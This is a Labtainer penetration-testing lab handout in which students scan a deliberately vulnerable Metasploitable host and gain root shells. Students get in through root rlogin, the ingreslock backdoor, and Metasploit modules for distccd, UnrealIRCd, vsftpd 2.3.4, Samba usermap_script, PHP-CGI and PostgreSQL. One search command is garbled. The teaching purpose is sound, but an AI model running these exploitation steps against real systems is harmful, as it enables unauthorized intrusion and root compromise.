Metasploit Lab Exercise

This lab was developed for the Labtainer framework by the Naval Postgraduate School, Center for Cybersecurity and Cyber Operations under National Science Foundation Award No. 1438893. This work is in the public domain, and cannot be copyrighted.

**Overview**

This Labtainer exercise explores the use of the metasploit tool which is installed on a Kali Linux system (attacker) and is meant to learn simple penetration skills on a purposely vulnerable metasploitable host (victim).

Note: the attacker computer is configured to have IP address 192.168.1.3 while the victim computer is 192.168.1.2

**Performing the lab**

The lab is started from the Labtainer working directory on your Linux host, e.g., a Linux VM.

From there, issue the command:

labtainer metasploit

The resulting virtual terminal is connected to the attacker computer.

**Tasks**

1. **Verify connectivity between attacker and victim**

A simple ping from the attacker system will be sufficient.

ping 192.168.1.2

2. **Get a list of vulnerable services on the victim**

An 'nmap' scan of the victim will be sufficient.

nmap -p0-65535 192.168.1.2

3. V**ulnerably configured rlogin service (port 513)**

Remote login to the victim (with root privilege)

rlogin -l root 192.168.1.2

Display a 'root' file

cat /root/filetoview.txt

4. **Vulnerable ingreslock service (port 1524)**

Use telnet to access ingreslock service and obtain root privilege

telnet 192.168.1.2 1524

Display root file as above

5. **Vulnerable distccd service (port 3632)**

Initialize/connect to postgres database (done only once)

sudo msfdb init

Start Metasploit console

sudo msfconsole

search for distccd exploit

search distccd

Use the exploit

use exploit/unix/misc/distcc\_exec

View options related to exploit

options

Set the 'RHOST' option

set RHOST 192.168.1.2

Run the exploit

./exploit

Note: when the exploit has succeeded, no prompt is shown but a shell is created

Display the root file as above

6. **Vulnerable IRC daemon (port 6667)**

Search for unreal\_ircd exploit.

search unreal\_ircd

Use the exploit;

use exploit/unix/irc/unreal\_ircd\_3281\_backdoor

View and set options as necessary (RHOST option) run the exploit and display root file.

7. **Vulnerable VSFtpd service (port 21)**

Search for vsftpd\_234

search unreal\_ircdvsftpd\_234

Use the exploit

use exploit/unix/ftp/vsftpd\_234\_backdoor

View and set options as necessary (RHOST option), run the exploit and display root file

8. **Vulnerable Samba service (port 139)**

Search for samba usermap\_script

search usermap\_script

Use the exploit

use exploit/multi/samba/usermap\_script

View and set options as necessary (RHOST option), run the exploit and display root file

9. **Vulnerable HTTP (php) service (port 80)**

Search for php\_cgi

search php\_cgi

Use the exploit

use exploit/multi/http/php\_cgi\_arg\_injection

View and set options as necessary (RHOST option) run the exploit

Note: when the exploit is succeeded a 'meterpreter' prompt is shown

From meterpreter prompt, drop to a shell

shell

Display the root file

10. **Vulnerable Postgres service (port 5432)**

Search for postgres\_payload

search postgres\_payload

Use the exploit

use exploit/linux/postgres/postgres\_payload

View and set options as necessary (RHOST option)

run the exploit

Note: when the exploit is succeeded a 'meterpreter' prompt is shown

From meterpreter prompt, drop to a shell.

shell

Display root file

**Stop the Labtainer**

When the lab is completed, or you'd like to stop working for a while, run

stoplab

from the host Labtainer working directory. You can always restart the

Labtainer to continue your work. When the Labtainer is stopped, a

zip file is created and copied to a location displayed by the stoplab

command. When the lab is completed, send that zip file to the instructor.